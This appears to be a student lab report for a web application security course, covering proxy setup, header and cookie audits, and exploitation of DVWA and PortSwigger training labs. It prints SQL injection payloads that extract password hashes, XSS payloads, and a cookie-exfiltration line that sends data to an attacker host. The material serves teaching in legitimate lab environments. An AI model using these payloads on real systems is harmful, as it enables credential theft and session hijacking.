FUTM-CYB 322 Web Application Security
FUTM-CYB 322 Web Application Security
Practical Hours Projects: Weeks 1–7
Student Submission Report
Table of Contents
- Week 1: Foundations of Web Application Security
- Week 2: Web Application Architecture and Security Implications
- Week 4: Threats and Vulnerabilities Part 2 XSS, CSRF, and Broken Access Control
- Week 5: Authentication, Authorization, and Session Management
- Week 6: Threat Prevention Techniques and Secure Coding
- Week 7: Security Testing, Firewalls, and Detection Techniques
Week 1: Foundations of Web Application Security
1A Burp Suite Community Edition Setup and Proxy Configuration
Steps
Step 1: I navigated to https://portswigger.net/burp/communitydownload and downloaded the Windows installer.
Step 2: I proceeded through each installer prompt until setup finished.
Step 3: After launching Burp Suite, I chose Temporary project > Use Burp defaults.
Step 4: I navigated to Proxy > Options and verified that the listener was configured to 127.0.0.1:8080.
Step 5: In Firefox, I opened Settings > Search for Proxy > Configure Proxy Configuration, selected Manual Proxy Configuration, entered 127.0.0.1 as the HTTP Proxy on port 8080, and enabled Also use this proxy for HTTPS.
Step 6: With Burp running, I opened http://burpsuite/ in Firefox and downloaded the Burp CA certificate. I then navigated to Firefox Settings > Privacy & Security > Manage Certificates > Import, selected the certificate from the Downloads folder, and marked it as trusted for identifying websites.
Step 7: I enabled Intercept in Burp through Proxy > Intercept > Intercept on, then browsed to https://google.com in Firefox. Due to persistent PortSwigger certificate warnings in Firefox, I switched to Burp’s built-in browser. The captured request showed up in Burp’s Intercept tab.

Step 8: I selected Forward in Burp to let the request through and reviewed the response under Proxy > HTTP History. The screenshot was then annotated to highlight the request line, Host header, User-Agent, and Cookie.
Intercepted Request Annotation Table
| Component | Value Observed |
|---|---|
| Request Method | GET |
| Request Path | / |
| HTTP Version | 2 |
| Host Header | www.google.com |
| User-Agent | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 |
| Cookie Header | AEC=…; NID=…; __Secure-STRP=… |
| Request Body Parameters | None |
Observations
-
HTTP Protocol Version: HTTP/2 was used in the intercepted request, remaining widely adopted even though newer versions such as HTTP/3 exist.
-
Firefox Certificate Trust Issue: The Burp CA certificate was not trusted by Firefox even after importing it, most likely due to tightened validation requirements in newer Firefox builds.
-
Browser Compatibility: Unlike Firefox, Burp Suite’s built-in browser accepted the certificate without any warnings.
1B OWASP ZAP Installation and Initial Exploration
Prerequisites
Since OWASP ZAP depends on Java, the Java Development Kit was installed first before proceeding with ZAP.
Step 1: From oracle.com/java/technologies/downloads, I downloaded the JDK 26 Windows x64 Installer (188.65 MB).
Step 2: Running the JDK installer brought up the setup wizard for Java SE Development Kit 26.0.1 (64-bit), and I clicked Next to continue.
Step 3: Installation proceeded through two stages — Updating component registration followed by Extracting Installer — before finishing.
Step 4: A confirmation screen appeared stating Java(TM) SE Development Kit 26.0.1 (64-bit) Successfully Installed, and I clicked Close.
ZAP Installation
Step 5: Having Java in place, I ran the ZAP 2.17.0 installer (ZAP_2_17_0_windows). The install4j wizard extracted and prepared the installation, then displayed the Apache License 2.0 agreement. I chose I accept the agreement and clicked Next.
Step 6: All components were extracted successfully, including plugins such as database-alpha-0.9.0.zap, selenium-release-15.43.0.zap, soap-beta-29.zap, webdriverwindows-release-170.zap, and language files, with no errors reported.
First Launch
Step 7: I started ZAP 2.17.0. A dialog on first launch asked whether to persist the ZAP session. I chose No, I do not want to persist this session at this moment in time and clicked Start.
Step 8: ZAP loaded the Welcome to ZAP screen, presenting three options: Automated Scan, Manual Explore, and Learn More. The status bar at the bottom showed that the main proxy was active on localhost:8080.
Browser Configuration
Step 9: Instead of setting up an external browser manually, I clicked the built-in browser launch button in ZAP’s Quick Start toolbar. This opens a browser already configured to route traffic through ZAP at 127.0.0.1:8080, requiring no manual proxy setup. The resulting Firefox window displayed a red/pink striped address bar, indicating that traffic was being proxied through ZAP.
Note: Firefox must be installed for this to work.
OpenVPN Installation and TryHackMe VPN Setup
Accessing the DVWA target machine on TryHackMe’s private network required a VPN connection. I had previously downloaded OpenVPN 2.7.4-I001 (Windows 64-bit MSI) from community.openvpn.net.
Step 10: I launched the OpenVPN installer with the Install Now default option. Setup passed through several stages, including checking the OpenVPNService status and creating TUN/TAP adapters. When the installer showed OpenVPN Installing Completed, I clicked Close.
Step 11: I went to the TryHackMe DVWA room (tryhackme.com/room/dvwa) and deployed the target machine. It was assigned the IP address [target-IP].
Step 12: I opened tryhackme.com/access to retrieve my VPN configuration file. The page indicated the assigned VPN server was Europe (Frankfurt) and the connection status was Not connected. Clicking Download Regular Configuration File saved eu-central-1-raviheima-regular(1).ovpn (6.0 KB) to my machine.
Step 13: When I opened the .ovpn file, the OpenVPN GUI displayed an import dialog: “Do you want to import the profile eu-central-1-raviheima-regular(1)?” I clicked Yes.
Step 14: Right-clicking the OpenVPN system tray icon, I selected Connect. The first attempt timed out while trying [old-IP] — an outdated TryHackMe IP — but the second attempt succeeded. A notification from OpenVPN GUI for Windows confirmed: “eu-central-1-raviheima-regular(1) is now connected. Assigned IP: [vpn-IP]”.
Connectivity Verification
Step 15: After establishing the VPN connection, I went back to the TryHackMe DVWA room. The target IP was confirmed as [target-IP]. I opened Command Prompt and executed:
1
ping [target-IP]
Connectivity was confirmed: 4 packets sent, 4 received, 0% loss, with round-trip times ranging from 156ms to 174ms (average 163ms).
ZAP Automated Scan Against DVWA
Step 16: With ZAP reopened (proxy still active on localhost:8080), I clicked Automated Scan from the Welcome screen, set the target URL to http://[target-IP], verified the Scan Policy was Dev Standard, and clicked Attack.
Step 17: ZAP began with the traditional spider, which found 11 URLs and 8 nodes. The Spider tab displayed all crawled endpoints, including login.css, login_logo.png, RandomStorm.png, robots.txt, sitemap.xml, and login.php (both GET and POST). A single out-of-scope URL (www.w3.org) was identified and excluded.
Step 18: Once the spider finished, the active scan and passive analysis proceeded simultaneously. The Alerts tab filled with 10 alerts spanning multiple severity levels. Each alert was opened to review its details.
Passive Scan Alerts
The following alerts were detected by ZAP’s passive scanner during the automated scan of http://[target-IP] (DVWA):
| Alert Name | Severity | Description |
|---|---|---|
| Content Security Policy (CSP) Header Not Set | Medium | The Content-Security-Policy HTTP response header was absent on /, /login.php, and /sitemap.xml. CSP prevents XSS and data injection attacks by whitelisting approved content sources. CWE-693, WASC-15. |
| Missing Anti-clickjacking Header | Medium | No X-Frame-Options or CSP frame-ancestors directive was present on two responses, leaving the application vulnerable to UI redress (clickjacking) attacks. |
| Cookie No HttpOnly Flag | Low | A session cookie was set without the HttpOnly attribute, meaning client-side scripts can access it enabling theft via XSS. |
| Cookie without SameSite Attribute | Low | Two cookies lacked the SameSite attribute, leaving them vulnerable to cross-site request forgery (CSRF) since they would be sent on cross-origin requests. |
| In Page Banner Information Leak | Low | The application’s HTTP response revealed software version or banner information inline within the page, which assists attacker fingerprinting. |
| Server Leaks Information via “X-Powered-By” HTTP Response Header | Low | The server returned an X-Powered-By header disclosing the backend technology stack (e.g. PHP version), reducing the work needed for targeted exploitation. |
Passive vs Active Scanning
Passive scanning is a non-intrusive form of reconnaissance in which a proxy tool like ZAP monitors and analyses HTTP/HTTPS traffic flowing between the browser and the target application, without generating any additional or altered requests. Vulnerabilities such as missing security headers, information leakage, and insecure cookies are identified purely by examining ordinary browsing traffic.
Active scanning, on the other hand, intentionally fires crafted payloads at the target — such as SQL injection strings or XSS probes — with the aim of triggering and identifying exploitable responses. This produces a substantial amount of traffic and may modify application state or set off security alarms.
Because passive scanning never alters requests or introduces anything beyond what the user has already sent, it is safe to use against any target, including live production systems. Its observe-only nature makes it suitable even in contexts where active testing is forbidden or would pose a risk.
1C TryHackMe Web Security Fundamentals
Steps
Step 1: I went to tryhackme.com and created a free account using my university email.
Step 2: I searched for How Websites Work, opened the room at https://tryhackme.com/room/howwebsiteswork, and worked through each task in order.
Step 3: I searched for HTTP in Detail and completed all tasks.
Step 4: I answered the following questions based on my findings.
| Question | Answer |
|---|---|
| What is the difference between a web server and a web application? | A web server is just a machine that receives requests and sends back responses. A web application is the software running on that server that actually processes your request and returns the right content. |
| What is sent inside an HTTP request? | The request method (GET, POST, etc.), the resource path, the HTTP version, and headers like Host, User-Agent, and Referer. POST requests also include a body with the submitted data. |
| What does HTTP status code 403 mean? | It means Forbidden you don’t have permission to access that resource, even if you’re logged in. |
Step 5: I wrote a 300-word summary covering the request-response process and three security risks (see written section below).
Step 6: I added five key term definitions at the end of my notes.
Request-Response Summary (~300 words)
Each time you load a website, your browser sends an HTTP request to a web server. This request contains a method (GET to retrieve content, POST to submit data, PUT to update, DELETE to remove), the resource path, and headers providing additional context such as your browser type, the target host, and the length of the request body. A blank line at the end signals to the server that the request is finished.
The server replies with a response containing a status code describing the outcome. 200 means success, 301 means the resource has permanently moved, 403 means access is denied, 404 means the resource was not found, and 500 means the server encountered an error. Headers such as Content-Type and Set-Cookie accompany the response, followed by the body — typically HTML.
HTTP is stateless, meaning each request is treated independently with no memory of prior interactions. Cookies address this limitation — the server issues a Set-Cookie header, and the browser includes that cookie in all subsequent requests, allowing the server to identify returning users.
Three security risks emerge within this flow. First, sensitive data exposure — developers occasionally embed passwords or API keys directly in page source code, where anyone can read them. Second, HTML injection — when a site renders user input without sanitising it first, an attacker can inject HTML that alters the content other users see. Third, plain HTTP — without HTTPS, all traffic between the browser and server travels in plaintext, readable by anyone sharing the same network. HTTPS solves this by encrypting the connection and authenticating the server.
A solid grasp of this cycle forms the basis of web security.
Key Term Definitions
| Term | Definition |
|---|---|
| Threat | Any potential actor or event that could cause harm to a system, like an attacker or malware. |
| Vulnerability | A weakness in a system that can be exploited, like missing input validation or exposed credentials. |
| Risk | The chance that a threat exploits a vulnerability, combined with how bad the damage would be. |
| Exploit | The actual method or code used to take advantage of a vulnerability. |
| Attack Surface | All the points where an attacker could interact with a system inputs, endpoints, open ports, etc. |
Week 2: Web Application Architecture and Security Implications
2A HTTP Traffic Analysis with Browser DevTools
Steps
Step 1: In Firefox, I pressed F12 to launch DevTools, selected the Network tab, and enabled Preserve log.
Step 2: After navigating to accessbankplc.com, I selected the first GET request and reviewed both the Request and Response Headers, documenting every header present.
Step 3: The same process was repeated for jumia.com.ng.
Step 4: The same steps were then applied to ncc.gov.ng.
Step 5: I used securityheaders.com to check each of the three sites, cross-referencing my findings and obtaining a security grade for each.
Security Headers Comparison Table
| Header | accessbankplc.com | jumia.com.ng | ncc.gov.ng |
|---|---|---|---|
| HTTPS (Y/N) | Y | Y | Y |
| Strict-Transport-Security | Y | N | N |
| Content-Security-Policy | Y (upgrade-insecure-requests) | N | N |
| X-Frame-Options | N | Y (SAMEORIGIN) | Y (SAMEORIGIN) |
| X-Content-Type-Options | Y (nosniff) | Y (nosniff) | N |
| Referrer-Policy | N | Y (strict-origin-when-cross-origin) | Y (same-origin) |
| securityheaders.com Grade | B | C | D |
Note: Providing just the domain name produced incorrect grades in Snyk. I needed to supply the full URL, including https:// and the www subdomain where applicable, for accurate assessment (https://www.accessbankplc.com/, https://www.jumia.com.ng/, https://ncc.gov.ng/)
Analysis
accessbankplc.com (Grade B): Several positive headers are present, including STS and CSP, but the absence of X-Frame-Options is a concern. Without this header, the site is exposed to clickjacking, where attackers overlay the page to trick users into interacting with malicious content. A missing Referrer-Policy also allows user data to be exposed when navigating away from the site.
jumia.com.ng (Grade C): The absence of both STS and CSP represents a more serious posture. Without STS, an attacker can strip HTTPS down to HTTP and intercept data in transit. Without CSP, the site is susceptible to XSS attacks in which injected scripts can steal credentials or session cookies.
ncc.gov.ng (Grade D): This site has the weakest security posture of the three. The lack of STS, CSP, and X-Content-Type-Options exposes it to SSL stripping, XSS attacks, and MIME-sniffing — where the browser is deceived into executing malicious content by misinterpreting the file type.
2B Cookie and Session Token Inspection
Steps
Step 1: I opened my browser, pressed F12 for DevTools, went to the Storage tab in Firefox, and expanded Cookies in the left panel.
Step 2: I navigated to the first website, clicked on the domain, and recorded each cookie’s Name, first 10 characters of its Value, Secure flag, HttpOnly flag, SameSite setting, and Expires date.
https://hack-yourself-first.com/

Step 3: I repeated this for the second website. https://www.firstbanknigeria.com/
Step 4: I repeated this for the third website.
http://aspnet.testsparker.com/

Step 5: I launched DVWA, opened Burp Suite with interception ON, and logged into DVWA with admin / password. In Burp’s HTTP History, I found the POST /login.php response and noted the Set-Cookie header.
Step 6: I rated each cookie using: Secure + HttpOnly + SameSite=Strict = Secure. Missing one = Partially Secure. Missing two or more = Insecure.
Cookie Attributes Table
| Site | Cookie Name | Value (First 10 Chars) | Secure | HttpOnly | SameSite | Expires | Rating |
|---|---|---|---|---|---|---|---|
| hack-yourself-first.com | ASP.NET_SessionId | 3m6puxqty0 | No | Yes | Lax | Session | Partially Secure |
| hack-yourself-first.com | VisitStart | 5/21/2026 10 | No | No | Blank | Session | Insecure |
| firstbanknigeria.com | AWSALB | 9DPQTYLzjsI4 | No | No | Blank | 2026-05-28 | Insecure |
| firstbanknigeria.com | AWSALBCORS | 9DPQTYLzjsI4 | Yes | No | None | 2026-05-28 | Insecure |
| firstbanknigeria.com | perf_dvGT4tb | (from screenshot) | No | No | Blank | 2026-06-04 | Insecure |
| aspnet.testsparker.com | ASP.NET_SessionId | dik5f0sbe3y | No | Yes | Lax | Session | Partially Secure |
| aspnet.testsparker.com | TestCookie | Hello | No | No | Blank | Session | Insecure |
DVWA Session Cookie Attributes
| Attribute | Present? | Details |
|---|---|---|
| Secure flag | No | Cookie set over HTTP ([target-IP]), not HTTPS |
| HttpOnly flag | Yes | Set on PHPSESSID: path=/; httponly |
| SameSite | No | No SameSite attribute present |
DVWA Set-Cookie Headers (from Burp Suite):
Set-Cookie: PHPSESSID=1tced5ke368iqfg42lobnff5u5; path=/Set-Cookie: PHPSESSID=1tced5ke368iqfg42lobnff5u5; path=/; httponlySet-Cookie: security=impossible; httponly
Security Analysis
First Bank Nigeria has the greatest number of missing protections. AWSALB carries none of the three flags — no Secure, no HttpOnly, and no SameSite — leaving it open to theft via JavaScript (XSS) or interception over unencrypted connections. AWSALBCORS includes the Secure flag (ensuring encrypted transmission) but lacks HttpOnly and uses SameSite=None, meaning cross-site requests are permitted and the cookie remains exposed to both XSS and CSRF.
DVWA omits both the Secure and SameSite attributes on PHPSESSID. While HttpOnly is set — blocking direct JavaScript access — the absence of Secure means the cookie is transmitted in plaintext over HTTP. The missing SameSite attribute allows the cookie to be included in cross-site requests, opening the door to CSRF attacks.
hack-yourself-first.com sets ASP.NET_SessionId with HttpOnly and SameSite=Lax, but the Secure flag is absent. VisitStart has no protective flags set at all.
aspnet.testsparker.com configures ASP.NET_SessionId with HttpOnly and SameSite=Lax, but omits the Secure flag, so the cookie is sent without encryption. TestCookie is entirely unprotected.
Of the four sites examined, not a single cookie had all three security flags present. Seven cookies were rated Insecure (lacking two or more flags), while two were Partially Secure (missing only the Secure flag).
2C Web Application Architecture Mapping
Steps
Step 1: DVWA was launched on my machine, and Burp Suite was opened with the browser configured to proxy through it.

Step 2: I navigated through the entire application, visiting each page and submitting every available form. Every request was captured in Burp’s HTTP History tab.
Step 3: Using Burp’s Target > Site Map, I reviewed all discovered URLs and endpoints. Technologies disclosed in the response headers, such as X-Powered-By: PHP and Server: Apache, were recorded.
Step 4: Through DevTools > Network, I examined JavaScript files, API calls (fetch/XHR), and external resources to build an understanding of the front-end architecture.
Step 5: Using Inkscape, I created a diagram depicting the Presentation Tier, Application Tier, and Data Tier. Each identified component was placed within its respective tier, with arrows indicating data flow between layers. Every component was annotated with at least one security risk, and five attack surface points were labelled in red: AP1 (login.php - Auth entry point), AP2 (fi/?page= - File inclusion parameter), AP3 (phpinfo.php - Server recon page), AP4 (MySQL DB - User credentials storage), and AP5 (Response headers - Fingerprinting)
Step 7: A 300-word narrative was written to explain the diagram (see written section below).
Attack Surface Points
| # | Component | Tier | Security Risk |
|---|---|---|---|
| 1 | login.php | Application | No login attempt lockout; credentials sent over HTTP; vulnerable to brute force attacks |
| 2 | fi/?page= | Application | File Inclusion parameter accepts user input directly; allows path traversal and arbitrary file reading |
| 3 | phpinfo.php | Application | Publicly accessible; exposes full server configuration, PHP version, installed modules, and system information |
| 4 | MySQL DB | Data | Stores user credentials and session data; vulnerable to SQL injection attacks from Application Tier |
| 5 | Response headers | Application | Server advertises Apache version and PHP version; enables fingerprinting and targeted exploitation |
Architecture Narrative (~300 words)
DVWA is a three-tier web application hosted locally at [target-IP]. The architecture was mapped by browsing through Burp Suite, reviewing the site map, inspecting response headers, and filtering JavaScript files in the DevTools Network tab.
The Presentation Tier consists of browser-rendered HTML pages containing forms and navigation links. Two JavaScript files were observed loading in DevTools: dvwaPage.js and add_event_listeners.js, both served directly from the local server. No external domains or fetch/XHR calls were present; all communication takes place through standard HTTP form submission.
The Application Tier runs on PHP, confirmed by the response headers X-Powered-By: PHP/5.5.9-1ubuntu4.26 and Server: Apache/2.4.7 (Ubuntu). Burp’s site map revealed the full structure, including top-level pages such as login.php, setup.php, security.php, and phpinfo.php, along with fourteen vulnerability modules under /vulnerabilities/. All user input — whether from form submissions or URL parameters — is processed here before reaching the database.
The Data Tier is MySQL, used by modules including SQL Injection and XSS Stored. It is not directly accessible from the browser — all database interactions are handled by the PHP layer.
Five points defined the attack surface. The login.php form transmits credentials over plain HTTP with no apparent lockout mechanism, leaving it open to brute force. The File Inclusion module exposes the ?page= parameter, which accepts user input and feeds it directly into the file-loading process, enabling path traversal. phpinfo.php is publicly reachable and discloses the full server configuration. SQLi endpoints pass user-supplied input into database queries without validation. Finally, response headers openly reveal the server and PHP versions, making fingerprinting straightforward. The security level during this mapping was set to impossible, which affects application logic but does not change the information visible in headers or the file structure.
Week 3: Common Threats and Vulnerabilities Part 1 Injection Attacks
3A SQL Injection Exploitation on DVWA
Steps
Step 1: After launching DVWA and logging in with admin / password, I navigated to DVWA Security, changed the level to Low, and clicked Submit.

Step 2: Using the left menu, I selected SQL Injection.
Step 3: Submitting a single quote ' in the input field triggered a SQL error, which confirmed the field was vulnerable. I documented the error message.

Step 4: To determine the column count, I entered 1' UNION SELECT NULL, NULL# and clicked Submit. The absence of an error confirmed the query returns two columns.

Step 5: The database version was retrieved using: 1' UNION SELECT version(), NULL#

Step 6: The current database name was pulled using: 1' UNION SELECT database(), NULL#

Step 7: All tables were enumerated using: 1' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema=database()#

Step 8: Usernames and password hashes were extracted using: 1' UNION SELECT user, password FROM users#

Step 9: Each payload submitted along with its corresponding server response was documented.
Payload Log
| Step | Payload | Server Response / Data Extracted |
|---|---|---|
| Confirm vulnerability | ' |
SQL syntax error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' |
| Column count | 1' UNION SELECT NULL, NULL# |
No error returned two rows displayed, confirming 2 columns |
| DB version | 1' UNION SELECT version(), NULL# |
5.5.61-0ubuntu0.14.04.1 |
| DB name | 1' UNION SELECT database(), NULL# |
dvwa |
| Tables | 1' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema=database()# |
Tables: guestbook, users |
| Usernames & hashes | 1' UNION SELECT user, password FROM users# |
admin : 5f4dcc3b5aa765d61d8327deb882cf99 gordonb : e99a18c428cb38d5f260853678922e03 1337 : 8d3533d75ae2c3966d7e0d4fcc69216b pablo : 0d107d09f5bbe40cade3de5c71e9e9b7 smithy : 5f4dcc3b5aa765d61d8327deb882cf99 |
Note on comment syntax: The lab instructions originally specified
--as the SQL comment terminator. This was changed to#(MySQL-native), and the input was corrected from1 UNION...to1' UNION...to correctly close the enclosing single quote in the query:WHERE user_id = '$id'. Without the leading', the injection fails to escape the string context.
Impact Statement
Five unsalted MD5 password hashes were exposed from the users table through the SQL injection attack. Since MD5 is a weak, fast hashing algorithm with no salt, all five hashes can be cracked near-instantly using Hashcat or matched against public rainbow tables such as CrackStation. An attacker who recovers the plaintext passwords could then authenticate to the application as an administrator and attempt credential stuffing against external services like email or banking platforms. Passwords such as password, abc123, and letmein are frequently reused across multiple sites. The root cause is unsanitised user input being concatenated directly into a SQL query — remediation requires replacing dynamic queries with prepared statements using parameterised queries.
3B PortSwigger SQL Injection Apprentice Labs
Lab 1: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
Step 1: With Burp Suite open and its built-in browser running, I logged in to PortSwigger, navigated to https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data, and clicked Access the lab.
Step 2: Intercept was enabled in Burp Suite before clicking the 'Clothing, shoes and accessories' filter on the web app, allowing the outgoing request to be captured.

Step 3: In the GET request tab, the category query string was swapped for the '+OR+1=1-- payload, after which I clicked Forward all and disabled Intercept.

Lab 2: SQL injection vulnerability allowing login bypass
Step 1: Using Burp’s built-in browser, I opened https://portswigger.net/web-security/sql-injection/lab-login-bypass and clicked Access lab.
Step 2: I clicked My account.
Step 3: The login form was populated with admin admin in the username and password fields.
Step 4: I turned on Intercept in Burp Suite.
Step 5: Clicking Login triggered the POST request capture, at which point the username value was replaced with the payload administrator'--. I then clicked Forward all and switched off Intercept.
Step 6: Admin access was granted, along with an option to update the administrator email. Entering [email protected] in the email field and clicking Update completed the lab.

Lab 3: SQL injection UNION attack, determining the number of columns returned by the query
Step 1: I navigated to https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns and clicked Access Lab.
Step 2: After enabling Intercept and clicking Accessories, the category query string value was replaced with the payload '+UNION+SELECT+NULL-- and Forward was clicked to let the browser finish loading the page.
Step 3: The first payload '+UNION+SELECT+NULL-- produced an error, ruling out a single-column result. Adding a second NULL to get '+UNION+SELECT+NULL,NULL-- also returned an error. The third attempt using '+UNION+SELECT+NULL,NULL,NULL-- loaded the page without error, solving the lab and confirming the query returns three columns.

Lab Summary Table
| Lab Name | Vulnerable Parameter | Payload Used | Result |
|---|---|---|---|
| SQLi in WHERE clause | category (GET request) |
'+OR+1=1-- |
Returned all products including hidden ones |
| Login bypass | username (POST request) |
administrator'-- |
Bypassed authentication and logged in as admin |
| UNION column count | category (GET request) |
'+UNION+SELECT+NULL,NULL,NULL-- |
Confirmed the query returns 3 columns |
Error-based vs UNION-based SQLi
Error-based SQLi involves submitting inputs designed to cause the database to generate an error whose message contains real data — instead of a normal response, the database inadvertently leaks information through its error output. UNION-based SQLi operates differently: rather than provoking errors, a second SELECT statement is appended to the original query via the UNION operator, allowing data from other tables to be retrieved alongside the legitimate response. The fundamental distinction is that error-based techniques depend on the application surfacing database error messages, whereas UNION-based attacks require the injected query to exactly match the column count and data types of the original before producing results.
Week 4: Threats and Vulnerabilities Part 2 XSS, CSRF, and Broken Access Control
4A Cross-Site Scripting (XSS) Exploitation on DVWA
Target: DVWA (Damn Vulnerable Web Application) on TryHackMe
Security Level: Low
Date: 22 May 2026
Objective
The objective was to exploit both Reflected and Stored XSS vulnerabilities on DVWA at Low security, observe script execution and session cookie exposure in practice, and record the key distinctions between the two attack types.
Environment Setup
- DVWA was accessed at
[target-IP]/login.phpfor the first session and[target-IP]for the second, with login credentialsadmin / passwordused for both. - The security level was verified as Low through
DVWA Security > Security Level.

Steps
Stored XSS Basic Proof of Concept
Step 1: Opened XSS (Stored) at /vulnerabilities/xss_s/. The guestbook form displayed Name and Message fields. A previous test submission (Name: test, Message: This is a test comment.) was already listed, verifying that the page renders previously stored entries.
Step 2: The Name field was filled with steal_cook and the Message field with <script>alert(document.cookie)</script>, then Sign Guestbook was clicked.
Step 3: On page load, an alert box fired displaying the full session cookie value:
1
PHPSESSID=m721jodo9q2ogffvg84ov2qe04; security=low
This demonstrated that the script had been saved to the database and ran in the browser without requiring any further user interaction.
Step 4: Once the alert was dismissed, the guestbook page rendered fully, showing the Name: steal_cook entry. The alert re-triggered on every subsequent page load — including for any other user who navigates to the page.
Reflected XSS Cookie Theft via URL Parameter
Step 5: The XSS (Reflected) page at /vulnerabilities/xss_r/ was opened. The payload <script>alert(document.cookie)</script> was entered into the What’s your name? field and Submit was clicked.
The address bar showed the payload URL-encoded:
1
/vulnerabilities/xss_r/?name=<script>alert%28document.cooki...
An alert dialog appeared showing:
1
PHPSESSID=m721jodo9q2ogffvg84ov2qe04; security=low
Step 8: The payload was swapped for <script>alert('XSS')</script> and resubmitted. An alert showing XSS appeared, confirming that arbitrary script execution through the URL parameter was possible.
The resulting URL functions as a malicious link that an attacker could distribute to targets — any victim who follows it will run the attacker’s script within their own browser session.
Reflected vs. Stored XSS Comparison Table
| Attribute | Reflected XSS | Stored XSS |
|---|---|---|
| Where payload is stored | Not stored lives only in the URL/request | Stored in the server database |
| Who is affected | Only the user who clicks the crafted link | Every user who visits the affected page |
| Requires victim to click a link | Yes attacker must trick victim into clicking a malicious URL | No payload fires automatically on page load |
| More dangerous? | Less dangerous (requires social engineering) | More dangerous |
| Why | Impact is limited to one victim per click and requires active delivery | A single injection persists indefinitely and attacks all visitors passively |
Key Observations
- With Low security configured, DVWA applies neither input sanitisation nor output encoding, meaning user input is written directly into the HTML response and the database.
- Injected JavaScript had full access to
document.cookie, exposing thePHPSESSIDsession token. In a genuine attack scenario, this token would be transmitted to an attacker-controlled server, enabling session hijacking. - The stored payload re-executed each time the page loaded — including on refresh — meaning even the admin returning to the page would trigger the script.
- Unlike the stored variant, the reflected payload was visible in the URL bar, making it a detectable indicator.
Remediation
| Control | Description |
|---|---|
| Output encoding | Encode <, >, ", ', and & before rendering user input in HTML |
| Input validation | Reject or strip HTML tags from user-supplied fields |
| Content Security Policy (CSP) | Use a strict CSP header to block inline script execution |
| HttpOnly cookie flag | Setting HttpOnly on session cookies prevents JavaScript from reading them via document.cookie |
| Parameterised storage | Use prepared statements so input is stored as data, never rendered as markup |
4B Cookie Theft via XSS and PortSwigger XSS Labs
Lab 1: Reflected XSS into HTML context with nothing encoded
Steps
Step 1: Logged in to PortSwigger and opened the Reflected XSS into HTML context with nothing encoded lab (Apprentice level). The lab description confirmed it contains a simple reflected XSS vulnerability in the search functionality, and the goal was to call the alert function.
Step 2: Clicked ACCESS THE LAB to launch the live lab environment. The lab loaded a blog-style application (“We Like to Blog”).
Step 3: Entered the payload <script>alert(1)</script> directly into the search box and clicked Search. The server reflected the input back into the HTML response without any encoding or sanitisation.
Step 4: The injected script ran immediately in the browser, triggering an alert dialog that displayed the value 1.
Step 5: After dismissing the alert, the PortSwigger banner changed to Solved, confirming successful completion of the lab.
Lab 2: Stored XSS into HTML context with nothing encoded
Steps
Step 1: Opened the Stored XSS into HTML context with nothing encoded lab (Apprentice level). The lab description confirmed it contains a stored XSS vulnerability in the comment functionality, and the goal was to submit a comment that calls alert when any blog post is viewed.
Step 2: Clicked ACCESS THE LAB. Navigated to a blog post (“Cell Phone Free Zones”) to access the comment section.
Step 3: Scrolled to the Leave a comment form. The existing comments from other users were visible, confirming that comments are stored server-side and rendered back to any visitor who loads the page.
Step 4: The comment form was completed with the following values before clicking Post Comment:
- Comment:
<script>alert(1)</script> - Name:
xss relect - Email:
[email protected]
Step 5: Following submission, the page displayed “Thank you for your comment! Your comment has been submitted.” Simultaneously, the PortSwigger banner updated to Solved, indicating that the stored script executed the moment the post page was loaded.
Step 6: Returning to the blog post, the comment posted under “xss relect | 22 May 2026” was visible in the comments list, and the stored script re-triggered the alert dialog displaying 1.

Lab 3: DVWA XSS (Reflected) Low Security (Cookie Theft)
Steps
Step 1: The DVWA machine was deployed on TryHackMe (IP: [target-IP]). After navigating to the home page and logging in, the sidebar showed available modules including XSS (Reflected), XSS (Stored), and XSS (DOM).
Step 2: Selecting XSS (Reflected) from the sidebar loaded a page with a “What’s your name?” input field, with the security level at Low. The payload <script>alert(document.cookie)</script> was entered and Submit was clicked.
Step 3: An alert dialog appeared in the browser showing the complete cookie string: PHPSESSID=ajea7b9ps9b0selb8evv427db1; security=low.
Lab 4: DVWA XSS (Reflected) Medium Security (Encoding Bypass Attempt)
Steps
Step 1: The DVWA Security Level was raised to Medium through the DVWA Security menu. XSS (Reflected) was revisited and the same payload <script>alert(document.cookie)</script> was submitted.
Step 2: No alert fired; instead, the page displayed the text Hello alert(document.cookie) in red, indicating that the <script> tags had been stripped while the inner content was still reflected as plain text.
Step 3: Using View Source at the bottom of the page, the PHP source for medium.php exposed the defence mechanism: str_replace('<script>', '', $_GET['name']). While this strips the literal <script> string from the input prior to rendering, it applies no encoding or sanitisation to any other HTML.
Cookie Value Observed
| Field | Value |
|---|---|
Cookie string from document.cookie |
PHPSESSID=ajea7b9ps9b0selb8evv427db1; security=low |
Weaponised Attack Explanation
In a real attack, the alert(1) payload would be replaced with a fetch() call that silently exfiltrates the victim’s session cookie to an attacker-controlled server. For example:
1
<script>fetch('https://attacker.com/steal?c=' + document.cookie);</script>
For reflected XSS, the attacker would craft a malicious URL containing the payload in the query string and trick the victim into clicking it (e.g., via a phishing email). When the victim’s browser requests the page, the server reflects the script back and the browser executes it, sending the cookie to the attacker.
For stored XSS, the payload is injected once (e.g., via a comment form) and persists in the database. Every user who subsequently visits that page automatically executes the script no social engineering per victim is required. Once the attacker receives the session cookie, they can paste it into their own browser using DevTools (Application → Cookies), bypassing the login entirely and impersonating the victim.
Where XSS Failed (Medium Security)
| Input Field Tested | Encoding Applied | Why It Prevented XSS |
|---|---|---|
| XSS (Reflected) – name field | str_replace('<script>', '', input) literal <script> tag removed; inner content reflected as plain text (Hello alert(document.cookie)) |
The <script> opening and closing tags were stripped before the value was echoed into the page, so the browser never received a complete script element to execute. No HTML encoding was applied only a naive string replacement. |
Output Encoding Summary
Output encoding converts user-supplied data into a safe form before it is placed into an HTML page, ensuring the browser renders it as text rather than interpreting it as executable markup. If a server skips output encoding, an attacker can introduce HTML tags or script blocks that the browser will treat as executable code.
The five HTML characters that require encoding at all times are:
| Character | HTML Entity | Risk if unencoded |
|---|---|---|
< |
< |
Opens HTML tags / script blocks |
> |
> |
Closes HTML tags |
& |
& |
Starts HTML entities (can be chained) |
' |
